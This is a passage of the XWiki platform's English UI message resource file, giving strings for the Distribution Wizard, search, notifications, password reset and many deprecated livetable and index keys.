otherwise.", "platform.extension.distributionWizard.welcomeStepTitle=Distribution Wizard\nplatform.extension.distributionWizard.welcomeStepDescription=This wizard will guide you through the process of installing, upgrading or downgrading the XWiki distribution. You are seeing this wizard for one of the following reasons:{0}the default wiki pages recommended for the current version of the XWiki runtime are not installed{1}the version of the XWiki runtime has changed.\nplatform.extension.distributionWizard.welcomeStepStepsHint=The following steps are required in order to complete the XWiki installation:\nplatform.extension.distributionWizard.welcomeStepActionsHint=If you haven't finished configuring XWiki then you can choose to do the installation later. The wizard will reappear after the XWiki runtime is restarted. Although we don't recommend it, you can also do the installation by yourself, but note that you won't be able to get the wizard back easily if you choose to do so. Continue to the next step if you wish to perform the install now. Whatever you choose, after the wizard is closed you will be redirected back to the page you have requested.", "platform.extension.distributionWizard.reportStepTitle=Report\nplatform.extension.distributionWizard.reportStepDescription=The installation is now finished. Here is a report of what happened during the process.\nplatform.extension.distributionWizard.reportStepDocumentsDescription=Various steps of the Distribution Wizard are modifying pages of the wikis. The following tree contains all the pages that have been created, modified or deleted page during the installation.\nplatform.extension.distributionWizard.reportStepDocumentsTitle=Pages\nplatform.extension.distributionWizard.reportStepDocumentsNoChange=No pages were modified during this Distribution Wizard.\nplatform.extension.distributionWizard.reportStepDocumentsDefaultLanguage=Default language\nplatform.extension.distributionWizard.reportStepDocumentDeletedSuccess=Successfully deleted page {0}\nplatform.extension.distributionWizard.reportStepDocumentRestoredSuccess=Successfully restored page {0}\nplatform.extension.distributionWizard.reportStepDocumentRollbackedSuccess=Successfully rollbacked page {0} to version {1}", "platform.extension.distributionWizard.firstadminuserStepTitle=Admin user\nplatform.extension.distributionWizard.firstadminuserStepSummary=Make sure to create a user with administrative right\nplatform.extension.distributionWizard.firstadminuserStepDescription=You need a user with administrative right to install the wiki. This step will help you register and authenticate one for you.\nplatform.extension.distributionWizard.firstadminuser.registerAndLogin=Register and login\nplatform.extension.distributionWizard.firstadminuser.success.connected=You are connected with user {0}.\nplatform.extension.distributionWizard.firstadminuser.error.emptyUserName=Empty user name is not allowed.\nplatform.extension.distributionWizard.firstadminuser.error.emptyPassword=Empty password is not allowed.\nplatform.extension.distributionWizard.firstadminuser.error.passwordMismatch=The passwords do not match.", "platform.extension.distributionWizard.eventmigrationStepTitle=Events migration\nplatform.extension.distributionWizard.eventmigrationStepSummary=Copy events from the legacy event store to the new one\nplatform.extension.distributionWizard.eventmigrationStepDescription=XWiki switched to a new store for events (notifications) in 12.6. Since copying events can be a long process for old wikis with a log of events and keeping them is not always desired the choice of doing it is left to the wiki administrator. Not copying them imply that any previous notification will seems to have disappeared. The migration is executed in the background and you don't need to wait for it to be finished before going to the next step.\nplatform.extension.distributionWizard.eventmigration.alltime=All time\nplatform.extension.distributionWizard.eventmigration.since=Since\nplatform.extension.distributionWizard.eventmigration.startMigration=Start migration", "platform.extension.distributionWizard.extension.defaultuiStepTitle=User Interface\nplatform.extension.distributionWizard.extension.defaultuiStepSummary=Install the default set of wiki pages recommended for the current version of the XWiki runtime\nplatform.extension.distributionWizard.uiStepNoStateError=Can't get any information about the distribution.\nplatform.extension.distributionWizard.uiStepDescription=The user interface is a set of wiki pages that provide high level features on top of the XWiki runtime. These wiki pages are grouped by features into applications such as blog, activity stream, dashboard. Applications are packaged as extensions installable with the Extension Manager.\nplatform.extension.distributionWizard.uiStepDistributionLabel=Distribution\nplatform.extension.distributionWizard.uiStepDistributionHint=The following distribution has been detected:\nplatform.extension.distributionWizard.uiStepUILabel=User Interface\nplatform.extension.distributionWizard.uiStepUIHint=The following user interface is recommended for your distribution:\nplatform.extension.distributionWizard.uiStepInternetAccessWarning=The installation process requires internet access and it might take a few minutes to complete depending on the internet bandwidth and the load of the remote extension repository. Thank you for your patience.\nplatform.extension.distributionWizard.uiStepUIUnspecifiedError=The detected distribution doesn't specify a default user interface.", "platform.extension.distributionWizard.uiStepPreviousUIUpgradeQuestion=Are you performing an upgrade? There are currently {0} pages in the database which indicates this is not a new install. Unfortunately we couldn''t determine what version of the user interface was previously installed, most probably because you are upgrading from an old version that didn''t have the distribution manager available.\nplatform.extension.distributionWizard.uiStepPreviousUIUpgradeYesLabel=Yes, this is an upgrade\nplatform.extension.distributionWizard.uiStepPreviousUIUpgradeNoLabel=No, this is a new install\nplatform.extension.distributionWizard.uiStepPreviousUIFormHint=Do you know what version of the user interface was previously installed? This would allow us to merge automatically the pages from your database with those from the new version of the user interface. You can still perform the upgrade even if you don't know the previous version but you may have to manually resolve a lot of merge conflicts.\nplatform.extension.distributionWizard.uiStepPreviousUIIdLabel=Previous user interface id\nplatform.extension.distributionWizard.uiStepPreviousUIIdHint=The id should normally have the following format: groupId:artifactId where the group id and the artifact id correspond to the Maven project that generated the XAR. Example: {0}\nplatform.extension.distributionWizard.uiStepPreviousUIVersionLabel=Previous version\nplatform.extension.distributionWizard.uiStepPreviousUIVersionListHint=Select the version from the following list. If your version is not in the list then click on the pencil icon to type your version.\nplatform.extension.distributionWizard.uiStepPreviousUIVersionHint=Examples:\nplatform.extension.distributionWizard.uiStepPreviousUIAdvancedInputHint=Edit\nplatform.extension.distributionWizard.uiStepPreviousUISubmitLabel=Yes, this is it\nplatform.extension.distributionWizard.uiStepPreviousUICancelLabel=I don't know\nplatform.extension.distributionWizard.uiStepPreviousUIRequestFailed=Request failed.\nplatform.extension.distributionWizard.uiStepPreviousUIHint=You indicated the following user interface as being previously installed:\nplatform.extension.distributionWizard.uiStepPreviousUIRepairLabel=Repair\nplatform.extension.distributionWizard.uiStepPreviousUIRepairHint=Register this XAR extension in the installed extensions index", "platform.extension.distributionWizard.extension.defaultui.wikisStepTitle=Wikis\nplatform.extension.distributionWizard.extension.defaultui.wikisStepSummary=Update the default set of wiki pages on each of the existing wikis (except for the main wiki which is handled in the first step).\nplatform.extension.distributionWizard.wikisStepDescription=The following wikis have been detected. You can update the default set of wiki pages on all of them now by installing the user interface version recommended below, or you can do this later by accessing each wiki separately.", "platform.extension.distributionWizard.extension.flavorStepTitle=Flavor\nplatform.extension.distributionWizard.extension.flavorStepSummary=Install or update the flavor of this wiki\nplatform.extension.distributionWizard.flavorStepDescription=The flavor is a set of wiki pages that provide high level features on top of the XWiki runtime. These wiki pages are grouped by features into applications such as blog, activity stream, dashboard. Applications are packaged as extensions installable with the Extension Manager.\nplatform.extension.distributionWizard.flavorStepDistributionLabel=Distribution\nplatform.extension.distributionWizard.flavorStepDistributionHint=The following distribution has been detected:\nplatform.extension.distributionWizard.flavorStepCurrentFlavorLabel=The currently installed flavor\nplatform.extension.distributionWizard.flavorStepCurrentFlavorHint=This is the flavor that was chosen during the previous install (or upgrade). It often need to be upgraded to be in sync with the new distribution.\nplatform.extension.distributionWizard.flavorStepCurrentFlavorInvalidError=The current flavor is not compatible with the current distribution.\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorUpgradeLabel=Try to find a valid version\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorUpgradeHint=Let's try to find a different version of the same flavor that would be compatible with the current distribution.\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorOrInstallNewLabel=Or install a new flavor\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorOrInstallNewHint=If you want to use a different flavor or the current flavor is not maintained anymore and don't have more compatible candidate you can select one of the available flavors.\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorInstallNewLabel=Install a new flavor\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorInstallNewHint=Choose one of the valid flavors found in the configured repositories\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorNoUpgradeError=Could not find any valid version for flavor \"{0}\".\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorUpgradeKnownLabel=Upgrade the flavor\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorUpgradeKnownHint=Here is the version of the current flavor corresponding to the current distribution.\nplatform.extension.distributionWizard.flavorStepNewFlavorLabel=Install a new flavor\nplatform.extension.distributionWizard.flavorStepSelectOtherFlavor=Select other flavor\nplatform.extension.distributionWizard.flavorStepConfirm=You are about to install the following flavor, please confirm or select an other flavor.\nplatform.extension.distributionWizard.flavorStepNoFlavorConfirm=You have chosen to let the wiki be empty, please confirm or go back.\nplatform.extension.distributionWizard.flavorStepNoFlavorBack=Back and select a flavor\nplatform.extension.distributionWizard.flavorStep=", "platform.extension.distributionWizard.extension.flavor.wikisStepTitle=Wikis\nplatform.extension.distributionWizard.extension.flavor.wikisStepSummary=Update the flavor on each of the existing wikis that needs it (except for the main wiki which is handled in the first step).\nplatform.extension.distributionWizard.wikiflavorsStepDescription=The following wikis have been detected. You can update the flavor on all of them now or you can do this later by accessing each wiki separately.", "platform.extension.distributionWizard.extension.outdatedextensionsStepTitle=Extensions\nplatform.extension.distributionWizard.extension.outdatedextensionsStepSummary=Update the installed extensions\nplatform.extension.distributionWizard.extensionsStepDescription=Extensions provide additional features on top of the XWiki runtime. They are commonly distributed as XARs (e.g. {0}XWiki applications{1}, {2}wiki macros{3}, {4}color themes{5}) and JARs (server side code including especially {6}components{7} and {8}script services{9}).", "platform.extension.distributionWizard.extension.cleanStepTitle=Orphaned dependencies\nplatform.extension.distributionWizard.extension.cleanStepSummary=Make sure orphaned extension dependencies are either removed or made top level.\nplatform.extension.distributionWizard.extension.cleanStep.noOrphaned=No orphaned dependency could be found in that instance.\nplatform.extension.distributionWizard.extension.cleanStep.orphaned=The following extensions have been installed as dependencies and are no longer required. You can either uninstall them (checked) or make them top level extensions if you still need them (unchecked).\nplatform.extension.distributionWizard.extension.cleanStep.button.cleanapply=Continue\nplatform.extension.distributionWizard.extension.cleanStep.button.cleanapplyfinalize=Continue\nplatform.extension.distributionWizard.extension.cleanStep.button.cleanapplyreport=Continue\nplatform.extension.distributionWizard.extension.cleanStep.button.back=Back\nplatform.extension.distributionWizard.extension.cleanStep.apply.title=Apply\nplatform.extension.distributionWizard.extension.cleanStep.report.uninstalled=The following extensions have been uninstalled:\nplatform.extension.distributionWizard.extension.cleanStep.report.top=The following extensions have been made top level:\nplatform.extension.distributionWizard.extension.cleanStep.uninstall.finish.error=Failed to uninstall orphaned extensions\nplatform.extension.distributionWizard.extension.cleanStep.uninstall.finish.warning=The orphaned extensions have been successfully uninstalled but unexpected errors where logged during the process\nplatform.extension.distributionWizard.extension.cleanStep.uninstall.finish.success=The orphaned extensions have been successfully uninstalled", "### Logging Application Resources\nadmin.logging=Logging\nadmin.logging.description=Review and modify the log level associated to a registered logger.\nlogging.admin.intro=Here you can review and modify the log level associated to a registered logger. <default> or empty log level means that the logger inherits from its parent logger which is the package prefix when it's a package or the default level in the logger implementation configuration if there is no parent.\nlogging.admin.livetable.actions.set=Set\nlogging.admin.livetable.logger=Logger\nlogging.admin.livetable.level=Level\nlogging.admin.livetable.actions=Actions", "## Login Form\nplaform.web.login.forgotUserNameOrPassword=Forgot your {0}username{1} or {2}password{3}?", "## Initialization\nplatform.web.init.message.initializing=XWiki is initializing ({0}%)...\nplatform.web.init.message.initializationFailure=XWiki initialization failed!\nplatform.web.init.message.initializationSuccess=XWiki is initialized, you will be redirected shortly\nplatform.web.init.message.wiki.initializing=Wiki [{0}] is initializing ({1}%)...\nplatform.web.init.message.wiki.initializationFailure=Wiki [{0}] initialization failed!\nplatform.web.init.message.wiki.initializationSuccess=Wiki [{0}] is initialized, you will be redirected shortly", "rating.one-star=Poor\nrating.two-stars=Satisfactory\nrating.three-stars=Good\nrating.four-stars=Very good\nrating.five-stars=Excellent\nrating.votes=Votes", "## Hierarchy\nweb.hierarchy.error=Failed to get the full hierarchy.", "## XWiki Select Widget\nweb.widgets.select.filter.placeholder=Type to filter...\nweb.widgets.select.filter.noResults=No matching result...", "## Syntax Picker\nweb.widgets.syntaxPicker.configureSyntaxes=Configure more syntaxes\nweb.widgets.syntaxPicker.conversionConfirmation.title=Syntax Conversion\nweb.widgets.syntaxPicker.conversionConfirmation.message=Do you want to also convert the page content and meta data from the previous {0} syntax to the selected {1} syntax? Choosing ''No'' will only change the syntax identifier, without modifying the page content.\nweb.widgets.syntaxPicker.conversion.inProgress=Converting syntax...\nweb.widgets.syntaxPicker.conversion.done=Syntax converted\nweb.widgets.syntaxPicker.conversion.failed=Syntax conversion failed\nweb.widgets.syntaxPicker.contentUpdate.inProgress=Updating content...\nweb.widgets.syntaxPicker.contentUpdate.done=Content updated\nweb.widgets.syntaxPicker.contentUpdate.failed=Content update failed\nweb.widgets.syntaxPicker.conversionUnsupported.message=The automatic conversion from {0} to {1} syntax is not yet supported. This will change the syntax identifier but you''ll have to do the syntax conversion yourself.\nweb.widgets.syntaxPicker.conversionUnsupported.acknowledge=OK", "## Editable Property (in-place editing of properties)\nweb.editableProperty.editFailed=Failed to edit property.\nweb.editableProperty.viewFailed=Failed to view property.", "## Drawer\ncore.drawer.global=Global", "## Notifications\nnotifications.events.update.description=edited the page\nnotifications.events.update.description.by.1user=edited by {0}\nnotifications.events.update.description.by.users=edited by {0} users\nnotifications.events.addComment.description=commented the page\nnotifications.events.addComment.description.by.1user=commented by {0}\nnotifications.events.addComment.description.by.users=commented by {0} users\nnotifications.events.create.description=created the page\nnotifications.events.create.description.by.1user=created by {0}\nnotifications.events.create.description.by.users=created by {0} users\nnotifications.events.delete.description=deleted the page\nnotifications.events.delete.description.by.1user=deleted by {0}\nnotifications.events.delete.description.by.users=deleted by {0} users", "###############################################################################\n## Deprecated\n## Note: each element should be removed when the last branch using it is no longer supported\n###############################################################################", "## Used to indicate where deprecated keys start\n#@deprecatedstart", "#######################################\n## until 12.10\n#######################################", "extensions.search.recommended.disclaimer=This only includes recommended extensions.", "#@deprecated extensions.search.all.label\nextensions.search.repository.all.label=All Extensions\n#@deprecated extensions.search.recommended.label\nextensions.search.repository.recommended.label=Recommended Extensions\n#@deprecated extensions.search.recommended.disclaimer\nextensions.search.repository.recommended.disclaimer=This only includes recommended extensions.\n#@deprecated extensions.search.recommended.fallback\nextensions.search.repository.recommended.fallback=No recommended extension could be found matching ''{0}'', displaying results of the search in {1}.", "#######################################\n## until 10.1\n#######################################", "job.log.label.refactoring/rename=Rename log\njob.log.label.refactoring/copyAs=Copy log", "#######################################\n## until 2.3\n#######################################", "xe.search.lucene.try=You can also try the new experimental {0}. It adds scoring, searching into attachments and search paging. Please let us know what you think about it.\nxe.search.rebuild.started=Started index rebuild. This will take some time depending on the number of pages/attachments.\nxe.search.rebuild.rights=You must have administrator rights to rebuild the index.\nxe.search.rebuild.inprogress=Another rebuild is in progress.\nxe.search.rebuild.failed=Index rebuild failed.\nxe.search.index.rebuild=Rebuild the Lucene index\nxe.search.default.engine=default search engine\nxe.search.lucene.experimental=This is the new experimental Lucene search engine. You can still use the XWiki {0}.\npanels.search.title=Search\npanels.search.query=Search query\npanels.search.inputLabel=Search\npanels.search.inputText=search...\npanels.search.submit=Go\npanels.search.advanced=Advanced search\n### Search\nxe.search.query=Query\nxe.search.in.space=in space\nxe.search.in.wikis=in wikis\nxe.search.results.one=One result:\nxe.search.results=Results\nxe.search.of=of\nxe.search.page.previous=previous page\nxe.search.page.next=next page\nxe.search.plugin.notfound=Lucene plugin not found. Make sure it's defined in your xwiki.cfg file.\nxe.search.plugin.notenabled=The Lucene plugin is not enabled. You can use the XWiki {0}.\nxe.search.go=Search\nxe.search.web=Search\nxe.search.web.results=Search: {0}\nxe.search.lucene=Lucene Search\nxe.search.lucene.results=Lucene Search: {0}\nxe.search.rss=RSS feed for search on {0}\nxe.search.title=Search\nxe.search.bar.query.tip=search...\nxe.search.bar.query.title=Enter your search query\nxe.search.bar.wikis.all=All wikis\nxe.search.bar.wikis.title=Select wiki\nxe.search.bar.spaces.title=Select spaces\nxe.search.bar.spaces.all=All spaces\nxe.search.bar.submit=Search\nxe.search.bar.submit.title=Search query\nxe.search.bar.queryTip=e.g. xwiki* AND \"search query\"\nxe.search.bar.advanced=Advanced\n### Search results list\nxe.search.item.location=Located in <a href=\"{1}\">{0}</a> &#187; <a href=\"{3}\">{2}</a> &#187; <a href=\"{5}\">{4}</a>\nxe.search.item.modified=Modified by <span class=\"itemAuthor\">{0}</span> on <span class=\"itemDate\">{1}</span>\nxe.search.item.posted=Posted by <span class=\"itemAuthor\">{0}</span> on <span class=\"itemDate\">{1}</span>\nxe.search.item.rating.title=Rating\nxe.search.item.relevance.title=Relevance\nxe.search.item.type.comment.title=Comment\nxe.search.item.type.attachment.title=Attachment\nxe.search.item.type.author.title=Author\nxe.search.item.type.page.title=Page\nxe.search.item.type.wiki.title=Wiki\nxe.search.item.type.space.title=Space\nxe.search.index.uptodate=Lucene index is up to date.\nxe.search.rebuild.currently=Lucene is currently building its index, {0} documents in queue.\n### Results\nxe.results.page=Page\nxe.results.space=Space\nxe.results.wiki=Wiki\nxe.results.date=Date\nxe.results.author=Last Author\nxe.results.score=Score\nxe.results.actions=Actions\nxe.results.newcomment=- 1 new comment\nxe.results.guest=Guest\nxe.results.copy=Copy\nxe.results.delete=Delete\nxe.results.rename=Rename\nxe.results.rights=Rights", "#######################################\n## until 2.6 RC2\n#######################################", "### Recent Activity Macro\nxe.recentactivity=Recent Activity\nxe.recentactivity.rssfeed=RSS feed\nxe.recentactivity.noentries=There is no recent activity", "xe.recentactivity.action.create=created the page\nxe.recentactivity.action.delete=deleted the page\nxe.recentactivity.action.update=edited the page\nxe.recentactivity.action.addAnnotation=added an annotation\nxe.recentactivity.action.deleteAnnotation=deleted an annotation\nxe.recentactivity.action.updateAnnotation=edited an annotation\nxe.recentactivity.action.addAttachment=added {0,choice,1#an attachment|1<{0} attachments}\nxe.recentactivity.action.deleteAttachment=deleted an attachment\nxe.recentactivity.action.updateAttachment=edited {0,choice,1#an attachment|1<{0} attachments}\nxe.recentactivity.action.addComment=added a comment\nxe.recentactivity.action.deleteComment=deleted a comment\nxe.recentactivity.action.updateComment=edited a comment\nxe.recentactivity.action.summary={0,choice,1#one change|1<{0} changes} by {1,choice,1#one user|1<{1} users}\nxe.recentactivity.action.seechanges=see changes", "### Wiki and space dashboard (XWiki Enterprise wiki)\nxe.dashboard.wiki.recentactivity=Recent Activity\nxe.dashboard.space.recentactivity=Recent Activity for space {0}", "### User profile page\nplatform.core.profile.section.recentactivity=My Recent Activity", "### Tag application\nxe.tag.recentactivity=Recent activity in documents tagged with {0}", "#######################################\n## until 2.6 RC1\n#######################################", "### Recent Changes (XWiki Enterprise wiki)\nxe.recentchanges=Recent Changes\nxe.recentchanges.rssfeed=RSS feed\nxe.recentchanges.summary=This table lists recent changes brought to documents of this wiki, sorted by date (more recent changes come first). Each line contains all the aggregated changes done on a single day and by a given user. For each line, the user's name and avatar are displayed, along with the list of documents modified by that user.\nxe.recentchanges.showminor=Show minor edits\nxe.recentchanges.hideminor=Hide minor edits\nxe.recentchanges.column.authoranddate=Author and date\nxe.recentchanges.column.changes=Changes\nxe.recentchanges.entry.new=new!\nxe.recentchanges.entry.page.seemodifications=See modifications\nxe.recentchanges.entry.page.seemodifications.title=Modifications for {0}\nxe.recentchanges.entry.page.tooltip=Version {0}. Last modification {1}.\nxe.recentchanges.entry.comment.tooltip=Posted at {0}\nxe.recentchanges.entry.comment=comment\nxe.recentchanges.entry.comment.show=show\nxe.recentchanges.entry.comment.hide=hide\nxe.recentchanges.entry.comment.seediscussion=See discussion", "### Wiki and space dashboard (XWiki Enterprise wiki)\nxe.dashboard.wiki.recentchanges=Recent Changes\nxe.dashboard.space.recentchanges=Recent Changes for space {0}", "### User profile page\nplatform.core.profile.section.recentChanges=Recent Changes", "### Tag application\nxe.tag.recentchanges=Recent changes in documents tagged with {0}", "#######################################\n## until 2.7\n#######################################", "### Validation Messages\nxe.admin.registration.fieldMandatory=This field is mandatory.\nxe.admin.registration.fieldOkay=Ok.\ncore.create.validation.valid=OK\ncore.create.validation.mandatoryfield=Mandatory field\ncore.editors.validation.mandatoryField=This field is mandatory", "### Forgot Username (Administration application)\nxe.admin.passwordreset.forgotusername=Forgot your username?\nxe.admin.passwordreset.enteremail=Please enter the email address you provided when creating your account.\nxe.admin.passwordreset.email=Email:\nxe.admin.passwordreset.retrieve=Retrieve username\nxe.admin.passwordreset.noaccountregistered=No account is registered using this email address.\nxe.admin.passwordreset.differentaddress=Try again using another email address\nxe.admin.passwordreset.login=Login\nxe.admin.passwordreset.usernameis=Your username is:\nxe.admin.passwordreset.multipleusernames=The following usernames are registered with this email address:\nxe.admin.passwordreset.forgotpassword=Forgot your password?\nxe.admin.passwordreset.startprocess=Please enter your username to start the password recovery process.\nxe.admin.passwordreset.username=Username:\nxe.admin.passwordreset.resetpassword=Reset password\nxe.admin.passwordreset.nouser=The ~~{0}~~ user does not exist.\nxe.admin.passwordreset.ldapuser=The ~~{0}~~ user is an LDAP user. In that case the password has to be changed on the LDAP server.\nxe.admin.passwordreset.cannotreset=Cannot reset password: email address not provided in the user profile.\nxe.admin.passwordreset.emailsent=An e-mail was sent to <tt>{0}</tt>. Please follow the instructions in that e-mail to complete the password reset procedure.\nxe.admin.passwordreset.reseterror=An unknown problem occurred while sending the reset email.\nxe.admin.passwordreset.retry=Retry\nxe.admin.passwordreset.noprogrammingrights=This page requires programming rights to work, which currently isn't the case. Please notify an administrator of this problem and try again later.\nxe.admin.passwordreset.resetfor=Reset password for ~~{0}~~\nxe.admin.passwordreset.emptystring=The password cannot be an empty string.\nxe.admin.passwordreset.nomatch=The two passwords do not match.\nxe.admin.passwordreset.newpassword=New password:\nxe.admin.passwordreset.reenterpassword=Re-enter new password:\nxe.admin.passwordreset.save=Save\nxe.admin.passwordreset.notempty=The password cannot be empty.\nxe.admin.passwordreset.success=The password has been successfully set. Please\nxe.admin.passwordreset.loginsmall=login\nxe.admin.passwordreset.successend=to continue.\nxe.admin.passwordreset.wrongparameters=Wrong parameters.\nxe.admin.passwordreset.backtoreset=Back to the password reset page", "panels.documentInformation.parent=Parent:", "#######################################\n## until 3.0M2 \n#######################################\ncore.copy.copydoc=Copy Page\ncore.copy.sourcedoc=Source page\ncore.copy.sourcedoc.hint=Location of the original page\ncore.copy.targetdoc=Target page\ncore.copy.targetdoc.hint=Desired location for the copied page", "#######################################\n## until 3.0M3\n#######################################\nadmin.general.description=General settings of the wiki.\nadmin.admin=Administrator\nyoucanclicktoedit=You can <a href=\"${doc.getURL('create')}\">edit this page</a> to create it.", "#######################################\n## until 3.0\n#######################################\nXWiki.XWikiPreferences_webbgcolor=Space Background Color\nXWiki.XWikiPreferences_menu=Menu\nXWiki.XWikiPreferences_editbox_width=Editbox Width\nXWiki.XWikiPreferences_editbox_height=Editbox Height\nXWiki.XWikiPreferences_ad_clientid=Advertisement Client ID\nXWiki.XWikiPreferences_macros_languages=Macros Languages\nXWiki.XWikiPreferences_macros_velocity=Macros for Velocity\nXWiki.XWikiPreferences_macros_groovy=Macros for Groovy\nXWiki.XWikiPreferences_macros_wiki2=Macros for new wiki Parser\nXWiki.XWikiPreferences_macros_mapping=Macros Mapping\nXWiki.XWikiPreferences_macros_wiki=Macros for the wiki Parser\nXWiki.XWikiPreferences_notification_pages=Notification Pages\nXWiki.XWikiPreferences_renderXWikiVelocityRenderer=Render velocity code\nXWiki.XWikiPreferences_renderXWikiGroovyRenderer=Render Groovy code\nXWiki.XWikiPreferences_renderXWikiRadeoxRenderer=Render Wiki syntax\nXWiki.XWikiPreferences_pageWidth=Preferred page width\nXWiki.XWikiPreferences_convertmail=convert email type", "#######################################\n## until 3.2M3\n#######################################\nxe.scheduler.jobs.infos=Infos\nxe.scheduler.jobs.add=Add\nxe.index.attachments.doc.date=Date\nxe.index.attachments.doc.author=Author", "#######################################\n## until 3.3M1\n#######################################\nplatform.core.profile.dashboard.displayOnMainPage=Display my dashboard on the wiki home when I'm logged in (instead of the default dashboard)\nplatform.core.profile.section.dashboard.preferences=Dashboard preferences\nxe.dashboard.wiki=Dashboard\nxe.dashboard.wiki.spaces=Spaces\nxe.dashboard.wiki.tagcloud=Tags\nxe.dashboard.wiki.activity=Activity Stream\nxe.dashboard.wiki.welcome=Welcome to your wiki\nxe.dashboard.wiki.personal.empty.edit=edit the dashboard section in your profile\nxe.dashboard.wiki.personal.empty=Your dashboard is currently empty. You can {0} to configure it. In the mean time, the default dashboard is displayed below.\nxe.dashboard.space=Dashboard for space {0}\nxe.dashboard.space.activity=Activity Stream for space {0}\nxe.dashboard.space.documents=Documents in space {0}\nxe.dashboard.space.remainingDocumentsInSpace=and {0} {0,choice,1#more document|1<more documents} in space {1}\nxe.dashboard.space.visitSpaceIndex=visit the Space Index to see the full list", "#######################################\n## until 3.4M1\n#######################################\ncore.create.template.empty=Empty Wiki Page", "#######################################\n## until 3.5\n#######################################", "#@deprecated platform.livetable.results\nxe.livetable.results=Livetable Results", "#@deprecated platform.livetable.resultsMacros\nxe.livetable.resultsmacros=Livetable Results Macros", "#@deprecated platform.livetable._actions.delete\nxe.livetable._actions.delete=delete", "#@deprecated platform.livetable._actions.rename\nxe.livetable._actions.rename=rename", "#@deprecated platform.livetable._actions.rights\nxe.livetable._actions.rights=rights", "#@deprecated platform.livetable._actions.copy\nxe.livetable._actions.copy=copy", "#@deprecated platform.livetable.filtersTitle\nxe.livetable.filters.title=Filter for the {0} column", "#@deprecated platform.livetable.loading\nxe.livetable.loading=Loading...", "#@deprecated platform.livetable.tagsHelp\nxe.livetable.tags.help=Click on one or more tags to filter the list", "#@deprecated platform.livetable.tagsHelpCancel\nxe.livetable.tags.help.cancel=and click again on a tag to cancel the filter", "#@deprecated platform.livetable.environmentCannotLoadTableMessage\nxe.livetable.environmentCannotLoadTableMessage=The environment prevents the table from loading data.", "#@deprecated platform.livetable.pagesizeLabel\nxe.livetable.pagesize.label=per page of", "#@deprecated platform.livetable.selectAll\nxe.livetable.select.all=All", "#@deprecated platform.livetable.paginationPage\nxe.pagination.page=Page", "#@deprecated platform.livetable.paginationPageTitle\nxe.pagination.page.title=Go to page {0}", "#@deprecated platform.livetable.paginationPagePrevious\nxe.pagination.page.previous=&#171; previous page", "#@deprecated platform.livetable.paginationPagePrevTitle\nxe.pagination.page.prev.title=Previous Page", "#@deprecated platform.livetable.paginationPageNext\nxe.pagination.page.next=next page &#187;", "#@deprecated platform.livetable.paginationPageNextTitle\nxe.pagination.page.next.title=Next Page", "#@deprecated platform.livetable.paginationResultsNone\nxe.pagination.results.none=No results", "#@deprecated platform.livetable.paginationResultsOne\nxe.pagination.results.one=One result", "#@deprecated platform.livetable.paginationResultsSingle\nxe.pagination.results.single=Result <span class=\"currentResultsNo\">{0}</span> of <span class=\"totalResultsNo\">{1}</span>", "#@deprecated platform.livetable.paginationResultsMany\nxe.pagination.results.many=Results <span class=\"currentResultsNo\">{0} - {1}</span> of <span class=\"totalResultsNo\">{2}</span>", "#@deprecated platform.livetable.paginationResults\nxe.pagination.results=Results", "#@deprecated platform.livetable.paginationResultsOf\nxe.pagination.results.of=out of", "#@deprecated platform.index.documents\nxe.index.documents=Documents on this Wiki", "#@deprecated platform.index\nxe.index=Index", "#@deprecated platform.index.tree\nxe.index.tree=Tree", "#@deprecated platform.index.orphaned\nxe.index.orphaned=Orphaned Pages", "#@deprecated platform.index.orphanedResults\nxe.index.orphaned.results=Orphaned Pages JSON Service", "#@deprecated platform.index.attachments\nxe.index.attachments=Attachments", "#@deprecated platform.index.attachmentsResults\nxe.index.attachments.results=Attachments JSON Service", "#@deprecated platform.index.doc.name\nxe.index.doc.name=Page", "#@deprecated platform.index.doc.space\nxe.index.doc.space=Space", "#@deprecated platform.index.doc.date\nxe.index.doc.date=Date", "#@deprecated platform.index.doc.author\nxe.index.doc.author=Last Author", "#@deprecated platform.index._actions\nxe.index._actions=Actions", "#@deprecated platform.index.emptyvalue\nxe.index.emptyvalue=", "#@deprecated platform.index.attachments.filename\nxe.index.attachments.filename=Filename", "#@deprecated platform.index.attachments.doc.name\nxe.index.attachments.doc.name=Page", "#@deprecated platform.index.attachments.doc.space\nxe.index.attachments.doc.space=Space", "#@deprecated platform.index.attachments.date\nxe.index.attachments.date=Date", "#@deprecated platform.index.attachments.author\nxe.index.attachments.author=Author", "#@deprecated platform.index.attachments.type\nxe.index.attachments.type=Type", "#@deprecated platform.index.attachments.emptyvalue\nxe.index.attachments.emptyvalue=", "#@deprecated platform.index.documentsTrash\nxe.index.documentsTrash=Deleted Documents", "#@deprecated platform.index.trashDocumentsEmpty\nxe.index.trash.documents.empty=No deleted documents", "#@deprecated platform.index.trashDocuments.ddoc.fullName\nxe.index.trash.documents.ddoc.fullName=Document", "#@deprecated platform.index.trashDocuments.ddoc.title\nxe.index.trash.documents.ddoc.title=Title", "#@deprecated platform.index.trashDocuments.ddoc.date\nxe.index.trash.documents.ddoc.date=Deleted on", "#@deprecated platform.index.trashDocuments.ddoc.deleter\nxe.index.trash.documents.ddoc.deleter=Deleted by", "#@deprecated platform.index.trashDocuments.actions\nxe.index.trash.documents.actions=", "#@deprecated platform.index.trashDocumentsActionsRestoreTooltip\nxe.index.trash.documents.actions.restore.tooltip=Restore document", "#@deprecated platform.index.trashDocumentsActionsRestoreText\nxe.index.trash.documents.actions.restore.text=[restore]", "#@deprecated platform.index.trashDocumentsActionsCannotRestoreTooltip\nxe.index.trash.documents.actions.cannotRestore.tooltip=The document cannot be restored to its original location because it has been recreated", "#@deprecated platform.index.trashDocumentsActionsCannotRestoreText\nxe.index.trash.documents.actions.cannotRestore.text=[cannot restore]", "#@deprecated platform.index.trashDocumentsActionsDeleteTooltip\nxe.index.trash.documents.actions.delete.tooltip=Permanently delete document", "#@deprecated platform.index.trashDocumentsActionsDeleteText\nxe.index.trash.documents.actions.delete.text=[delete]", "#@deprecated platform.index.trashDocumentsDeleteInProgress\nxe.index.trash.documents.delete.inProgress=Permanently deleting document...", "#@deprecated 